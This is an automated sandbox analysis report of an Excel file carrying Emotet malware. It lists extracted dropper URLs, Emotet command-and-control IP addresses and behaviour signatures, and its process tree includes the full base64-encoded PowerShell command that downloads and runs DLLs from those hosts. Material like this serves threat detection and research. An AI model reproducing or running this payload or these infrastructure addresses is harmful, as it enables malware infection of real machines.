Analysis
- max time kernel
119s - max time network
152s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
25/01/2022, 15:58
General
- Target tmpibfe1mr2.xls
- Size 144KB
- Sample220125-tehl1aafd3
- SHA256 eed27f8b0b17f34d0fdc5bc736446f94eef528a5501a60f671f62680ad9c422b
Malware Config
Extracted
-
ps1
-
exe.dropper
http://four.renovatiog.ltd/wp-includes/KGzoB0zsRKZjjEe/
-
exe.dropper
http://adultfriendfinder-adultfriends.com/mmfdoublepenetrationadultfriends/0pcEeJPfwMU/
-
exe.dropper
http://jwellery.fameitc.com/wp-includes/wQK7z9cEcwWCUG/
-
exe.dropper
http://arcgakuin-dev2.sukoburu-secure.com/l35uhr/R1evmjjhga/
-
exe.dropper
http://bimesarayenovin.ir/wp-admin/z464/
-
exe.dropper
http://hostfeeling.com/wp-admin/DidtoZk2EEc7BWXyhh/
-
exe.dropper
http://gardeningfilm.com/wp-content/Ef/
-
exe.dropper
http://moneymagnetentertainment.com/pz66t8y/Bd0sR0htA8mHibNJrk/
-
exe.dropper
https://100lamp.com.ua:443/sale/a/
-
exe.dropper
http://queenofluv.com/uemsub/peLSdHCvfhkge/
Extracted
-
emotet
-
Epoch4
-
51.77.82.125:443
-
69.197.160.180:8080
-
103.75.201.2:443
-
173.212.193.249:8080
-
45.118.135.203:7080
-
45.118.115.99:8080
-
162.243.175.63:443
-
192.254.71.210:443
-
50.116.54.215:443
-
51.38.71.0:443
-
138.185.72.26:8080
-
131.100.24.231:80
-
212.237.5.209:443
-
209.59.138.75:7080
-
176.104.106.96:8080
-
107.182.225.142:8080
-
45.142.114.231:8080
-
212.237.56.116:7080
-
207.38.84.195:8080
-
158.69.222.101:443
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 2 IoCs
- Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpibfe1mr2.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\uylcsekn.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AZgBvAHUAcgAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEsARwB6AG8AQgAwAHoAcwBSAEsAWgBqAGoARQBlAC8ALABoAHQAdABwADoALwAvAGEAZAB1AGwAdABmAHIAaQBlAG4AZABmAGkAbgBkAGUAcgAtAGEAZAB1AGwAdABmAHIAaQBlAG4AZABzAC4AYwBvAG0ALwBtAG0AZgBkAG8AdQBiAGwAZQBwAGUAbgBlAHQAcgBhAHQAaQBvAG4AYQBkAHUAbAB0AGYAcgBpAGUAbgBkAHMALwAwAHAAYwBFAGUASgBQAGYAdwBNAFUALwAsAGgAdAB0AHAAOgAvAC8AagB3AGUAbABsAGUAcgB5AC4AZgBhAG0AZQBpAHQAYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwBRAEsANwB6ADkAYwBFAGMAdwBXAEMAVQBHAC8ALABoAHQAdABwADoALwAvAGEAcgBjAGcAYQBrAHUAaQBuAC0AZABlAHYAMgAuAHMAdQBrAG8AYgB1AHIAdQAtAHMAZQBjAHUAcgBlAC4AYwBvAG0ALwBsADMANQB1AGgAcgAvAFIAMQBlAHYAbQBqAGoAaABnAGEALwAsAGgAdAB0AHAAOgAvAC8AYgBpAG0AZQBzAGEAcgBhAHkAZQBuAG8AdgBpAG4ALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwB6ADQANgA0AC8ALABoAHQAdABwADoALwAvAGgAbwBzAHQAZgBlAGUAbABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABpAGQAdABvAFoAawAyAEUARQBjADcAQgBXAFgAeQBoAGgALwAsAGgAdAB0AHAAOgAvAC8AZwBhAHIAZABlAG4AaQBuAGcAZgBpAGwAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUAZgAvACwAaAB0AHQAcAA6AC8ALwBtAG8AbgBlAHkAbQBhAGcAbgBlAHQAZQBuAHQAZQByAHQAYQBpAG4AbQBlAG4AdAAuAGMAbwBtAC8AcAB6ADYANgB0ADgAeQAvAEIAZAAwAHMAUgAwAGgAdABBADgAbQBIAGkAYgBOAEoAcgBrAC8ALABoAHQAdABwAHMAOgAvAC8AMQAwADAAbABhAG0AcAAuAGMAbwBtAC4AdQBhADoANAA0ADMALwBzAGEAbABlAC8AYQAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AbwBmAGwAdQB2AC4AYwBvAG0ALwB1AGUAbQBzAHUAYgAvAHAAZQBMAFMAZABIAEMAdgBmAGgAawBnAGUALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\1539917026.dll,f16328736764⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "c:\programdata\1539917026.dll",DllRegisterServer5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Svopozbmzzru\habkbqj.lje",ttCZGfgAQqB6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Svopozbmzzru\habkbqj.lje",DllRegisterServer7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/596-119-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-128-0x00007FF937180000-0x00007FF937190000-memory.dmp
memory/596-129-0x00007FF937180000-0x00007FF937190000-memory.dmp
memory/596-289-0x00000197B9560000-0x00000197B9564000-memory.dmp
memory/596-115-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-406-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-405-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-404-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-403-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-118-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-117-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/596-116-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
memory/716-343-0x0000000003580000-0x00000000035A5000-memory.dmp
memory/1316-359-0x00000000049B0000-0x00000000049D5000-memory.dmp
memory/2080-346-0x0000000003400000-0x0000000003425000-memory.dmp
memory/2080-348-0x00000000052C0000-0x00000000052E5000-memory.dmp
memory/2080-352-0x0000000005680000-0x00000000056A5000-memory.dmp
memory/2080-354-0x00000000056E0000-0x0000000005705000-memory.dmp
memory/2080-356-0x0000000005740000-0x0000000005765000-memory.dmp
memory/2080-358-0x0000000005900000-0x0000000005925000-memory.dmp
memory/2520-361-0x0000000000140000-0x0000000000165000-memory.dmp
memory/2520-365-0x0000000000670000-0x0000000000695000-memory.dmp
memory/2520-367-0x00000000006A0000-0x00000000006C5000-memory.dmp
memory/2520-370-0x0000000004900000-0x0000000004925000-memory.dmp
memory/2520-372-0x00000000049E0000-0x0000000004A05000-memory.dmp
memory/4028-330-0x00000278C3496000-0x00000278C3498000-memory.dmp
memory/4028-322-0x00000278C3493000-0x00000278C3495000-memory.dmp
memory/4028-319-0x00000278C3490000-0x00000278C3492000-memory.dmp
memory/4028-318-0x00000278DB7A0000-0x00000278DB816000-memory.dmp
memory/4028-315-0x00000278C3440000-0x00000278C3462000-memory.dmp